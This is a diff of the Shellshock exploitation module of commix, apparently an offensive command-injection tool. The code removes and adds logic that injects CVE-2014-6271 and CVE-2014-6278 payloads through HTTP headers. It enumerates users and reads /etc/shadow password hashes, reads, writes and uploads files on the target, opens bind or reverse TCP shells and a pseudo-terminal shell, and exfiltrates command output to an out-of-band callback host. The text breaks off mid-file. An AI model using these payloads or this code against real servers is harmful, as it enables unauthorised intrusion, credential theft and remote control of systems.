sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if shell != "0": - sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - - #------------------------------- - # System users enumeration - #------------------------------- - if menu.options.users: - cmd = settings.SYS_USERS - sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - settings.ENUMERATION_DONE = True - - #------------------------------------- - # System password enumeration - #------------------------------------- - if menu.options.passwords: - cmd = settings.SYS_PASSES - sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) - if sys_passes : - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate (/etc/shadow) format - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print(settings.print_warning_msg(warn_msg)) - settings.ENUMERATION_DONE = True - -""" -File Access Options -""" -def file_access(url, cve, check_header, filename): - - #------------------------------------- - # Write to a file on the target host. - #------------------------------------- - if menu.options.file_write: - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - settings.FILE_ACCESS_DONE = True - - #------------------------------- - # Check the file-destination - #------------------------------- - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - - # Check if file exists! - cmd = "ls " + dest_to_write + "" - # Check if defined cookie injection. - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" - warn_msg += dest_to_write + "' file." + "\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - settings.FILE_ACCESS_DONE = True - - #------------------------------------- - # Upload a file on the target host. - #------------------------------------- - if menu.options.file_upload: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as warn_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, " - warn_msg += "does not exist. (" + str(warn_msg) + ")\n" - sys.stdout.write(settings.print_critical_msg(warn_msg)) - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - cmd = "ls " + dest_to_upload - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT - info_msg += " file was uploaded successfully!\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to write the '" + dest_to_upload + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - settings.FILE_ACCESS_DONE = True - - #------------------------------------- - # Read a file from the target host. - #------------------------------------- - if menu.options.file_read: - file_to_read = menu.options.file_read - # Execute command - cmd = "cat " + settings.FILE_READ + file_to_read - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file.\n" - sys.stdout.write(settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - settings.FILE_ACCESS_DONE = True - - if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) - -""" -Execute the bind / reverse TCP shell -""" -def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): - - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) - -""" -Configure the bind TCP shell -""" -def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - - settings.BIND_TCP = True - # Set up RHOST / LPORT for the bind TCP connection. - bind_tcp.configure_bind_tcp(separator = "") - - if settings.BIND_TCP == False: - if settings.REVERSE_TCP == True: - os_shell_option = "reverse_tcp" - reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - - while True: - if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_bind_tcp_options(settings.RHOST) - - else: - cmd = bind_tcp.bind_tcp_options(separator = "") - result = checks.check_bind_tcp_options(cmd) - if result != None: - if result == 0: - return False - elif result == 1 or result == 2: - go_back_again = True - settings.BIND_TCP = False - return go_back, go_back_again - - # execute bind TCP shell - execute_shell(url, cmd, cve, check_header, filename, os_shell_option) - -""" -Configure the reverse TCP shell -""" -def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - - settings.REVERSE_TCP = True - # Set up LHOST / LPORT for the reverse TCP connection. - reverse_tcp.configure_reverse_tcp(separator = "") - - if settings.REVERSE_TCP == False: - if settings.BIND_TCP == True: - os_shell_option = "bind_tcp" - bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - - while True: - if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_reverse_tcp_options(settings.LHOST) - else: - cmd = reverse_tcp.reverse_tcp_options(separator = "") - result = checks.check_reverse_tcp_options(cmd) - if result != None: - if result == 0: - return False - elif result == 1 or result == 2: - go_back_again = True - settings.REVERSE_TCP = False - return go_back, go_back_again - - # execute bind TCP shell - execute_shell(url, cmd, cve, check_header, filename, os_shell_option) - -""" -Check commix shell options -""" -def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - - if os_shell_option == False: - if no_result == True: - return False - else: - return True - - # The "back" option - elif os_shell_option == "back": - go_back = True - return go_back, go_back_again - - # The "os_shell" option - elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - - # The "bind_tcp" option - elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - - # The "reverse_tcp" option - elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - - # The "quit" option - elif os_shell_option == "quit": - raise SystemExit() - -""" -The main shellshock handler -""" -def shellshock_handler(url, http_request_method, filename): - - counter = 1 - vp_flag = True - no_result = True - export_injection_info = False - - injection_type = "results-based command injection" - technique = "shellshock injection technique" - - info_msg = "Testing the " + technique + ". " - if settings.VERBOSITY_LEVEL >= 2: - info_msg = info_msg + "\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - try: - i = 0 - total = len(shellshock_cves) * len(headers) - for cve in shellshock_cves: - for check_header in headers: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - i = i + 1 - attack_vector = "echo " + cve + ":Done;" - payload = shellshock_payloads(cve, attack_vector) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write("\n" + settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - header = {check_header : payload} - request = _urllib.request.Request(url, None, header) - if check_header == "User-Agent": - menu.options.agent = payload - else: - menu.options.agent = default_user_agent - log_http_headers.do_check(request) - log_http_headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = settings.info_msg - no_result = False - - elif len(response.info()) > 0 and cve in response.info(): - percent = settings.info_msg - no_result = False - - else: - percent = str(float_percent)+ "%" - - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if no_result == False: - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - - vuln_parameter = "HTTP Header" - the_type = " " + vuln_parameter - check_header = " " + check_header - vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) - check_header = check_header[1:] - logs.update_payload(filename, counter, payload) - - if settings.VERBOSITY_LEVEL != 0: - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - checks.total_of_requests() - - info_msg = "The (" + check_header + ") '" - info_msg += url + Style.RESET_ALL + Style.BRIGHT - info_msg += "' seems vulnerable via " + technique + "." - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_info_msg(info_msg)) - sub_content = "\"" + payload + "\"" - print(settings.print_sub_content(sub_content)) - - # Enumeration options. - if settings.ENUMERATION_DONE == True : - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input(settings.print_question_msg(question_msg)) - - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - enumeration(url, cve, check_header, filename) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - enumeration(url, cve, check_header, filename) - - # File access options. - if settings.FILE_ACCESS_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again= "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - file_access(url, cve, check_header, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - file_access(url, cve, check_header, filename) - - if menu.options.os_cmd: - cmd = menu.options.os_cmd - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL - raise SystemExit() - - else: - # Pseudo-Terminal shell - print(settings.SINGLE_WHITESPACE) - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell= "" - if len(gotshell) == 0: - gotshell= "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - - if cmd.lower() in settings.SHELL_OPTIONS: - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - - if go_back: - break - else: - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - elif settings.VERBOSITY_LEVEL >= 2: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except TypeError: - break - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - continue - break - else: - continue - - if no_result: - if settings.VERBOSITY_LEVEL != 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "All tested HTTP headers appear to be not injectable." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.IncompleteRead as err_msg: - print(settings.print_critical_msg(err_msg + ".")) - raise SystemExit() - -""" -Execute user commands -""" -def cmd_exec(url, cmd, cve, check_header, filename): - - """ - Check for shellshock 'shell' - """ - def check_for_shell(url, cmd, cve, check_header, filename): - try: - - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - cmd = "echo " + TAG + "$(" + cmd + ")" + TAG - payload = shellshock_exploitation(cve, cmd) - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - - header = {check_header : payload} - request = _urllib.request.Request(url, None, header) - if check_header == "User-Agent": - menu.options.agent = payload - else: - menu.options.agent = default_user_agent - log_http_headers.do_check(request) - log_http_headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') - shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) - shell = ''.join(shell) - return shell, payload - - except _urllib.error.URLError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) == 0: - cmd = "/bin/" + cmd - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) > 0: - pass - elif len(shell) == 0: - cmd = "/usr" + cmd - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) > 0: - pass - - return shell, payload - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, http_request_method, filename): - if shellshock_handler(url, http_request_method, filename) == False: - return False - -# eof \ No newline at end of file +#!/usr/bin/env python + +import re +import time +import string +import random +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client +from src.core.parse import cmdline as menu +from src.utils import logs +from src.utils import settings +from src.utils import session_handler +from src.core.requests import requests +from src.core.requests import headers as log_http_headers +from src.core.controller import checks +from src.core.controller import handler +from src.core.controller import controller + +default_user_agent = menu.options.agent +default_cookie = "" + +if menu.options.cookie: + if settings.INJECT_TAG in menu.options.cookie: + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "") + default_cookie = menu.options.cookie + +""" +This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI. +[1] CVE-2014-6271: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 +[2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 +""" + +if settings.MULTI_TARGETS or settings.STDIN_PARSING: + controller.init_http_header_injection_status() + controller.init_cookie_injection_status() + +# Available Shellshock CVEs +shellshock_cves = [ +"CVE-2014-6271", +"CVE-2014-6278" +] + +""" +A -p naming a cookie's own key isn't shellshock's concern - only one naming the header itself restricts it. +""" +def _header_testable(check_header): + name = check_header.lower() + header_names = [h.lower() for h in settings.SHELLSHOCK_HTTP_HEADERS] + if settings.TESTABLE_PARAMETERS_LIST: + if any(p in header_names for p in settings.TESTABLE_PARAMETERS_LIST): + return name in settings.TESTABLE_PARAMETERS_LIST + return True + if settings.SKIP_PARAMETERS_LIST: + return name not in settings.SKIP_PARAMETERS_LIST + return True + +""" +Available shellshock payloads +""" +def shellshock_payloads(cve, attack_vector): + if cve == shellshock_cves[0] : + payload = "() { :; }; " + attack_vector + elif cve == shellshock_cves[1] : + payload = "() { _; } >_[$($())] { " + attack_vector + " } " + else: + pass + return payload + +""" +Shellshock bug exploitation +""" +def shellshock_exploitation(cve, cmd): + attack_vector = " echo; " + cmd + ";" + payload = shellshock_payloads(cve, attack_vector) + return payload + +""" +Send a request with the given header set to payload, restoring the CLI-provided value afterward. +""" +def _send_header_payload(url, check_header, payload): + header = {check_header: payload} + request = _urllib.request.Request(url, None, header) + if check_header == settings.COOKIE: + menu.options.cookie = payload + if check_header == settings.USER_AGENT: + menu.options.agent = payload + response = log_http_headers.send_request(request) + if check_header == settings.COOKIE: + menu.options.cookie = default_cookie + if check_header == settings.USER_AGENT: + menu.options.agent = default_user_agent + return response + +""" +Probe every header and CVE through the out-of-band channel, then wait once for the whole sweep. +""" +def _oob_probe(url, testable_headers): + from src.core.techniques.oob import oob_payloads as oob_payloads + + channel = checks.init_oob_channel() + if channel is None: + return None, None, "" + for transport in oob_payloads.transports(): + fired = [] + sent = {} + for check_header in testable_headers: + for cve in shellshock_cves: + token, hostname = channel.new_payload() + # A header is not URL-decoded, so the sum goes in with a literal plus. The attack vector is + # a bash one, which needs nothing run ahead of the command for the sum to hold a value. + expression, expected, _ = oob_payloads.proof(transport, plus="+") + attack_vector = settings.SINGLE_WHITESPACE + "echo; " + oob_payloads.reach_command(transport, hostname, expression) + ";" + payload = shellshock_payloads(cve, attack_vector) + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + _send_header_payload(url, check_header, payload) + sent[token] = payload + fired.append((token, check_header, cve, expected)) + + deadline = time.time() + settings.OOB_TIMEOUT + while time.time() < deadline: + for token, check_header, cve, expected in fired: + if checks.oob_proof_holds(channel.seen(token, protocol=oob_payloads.required_protocol(transport)), expected): + settings.OOB_TRANSPORT = transport + settings.SHELLSHOCK_OOB = True + return check_header, cve, sent[token] + time.sleep(1) + return None, None, "" + +""" +Run a command through the out-of-band channel and read its output back. +""" +def _oob_cmd_exec(url, cmd, cve, check_header): + from src.core.techniques.oob import oob_payloads as oob_payloads + + channel = settings.OOB_CHANNEL + if channel is None: + return "" + token, hostname = channel.new_payload() + # A header is not URL-decoded, so the pipe goes in literally. + command = oob_payloads.exfil_command(settings.OOB_TRANSPORT, hostname, cmd, pipe="|") + if not command: + return "" + attack_vector = settings.SINGLE_WHITESPACE + "echo; " + command + ";" + payload = shellshock_payloads(cve, attack_vector) + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + _send_header_payload(url, check_header, payload) + for interaction in channel.wait_for(token, settings.OOB_TIMEOUT, protocol="http"): + body = checks.oob_request_body(interaction.raw_request) + if body: + return body.rstrip("\r\n") + return "" + +""" +Build the shared execute_cmd(cmd) -> output callback, logging execution only when asked to. +""" +def _command_executor(url, cve, check_header, filename, log_execution=False): + # Run one command through the shellshock injection point. + def execute_cmd(cmd): + shell = cmd_exec(url, cmd, cve, check_header, filename) + if log_execution and shell: + logs.executed_command(filename, cmd, shell) + return shell + return execute_cmd + +""" +Enumeration Options +""" +def enumeration(url, cve, check_header, filename): + 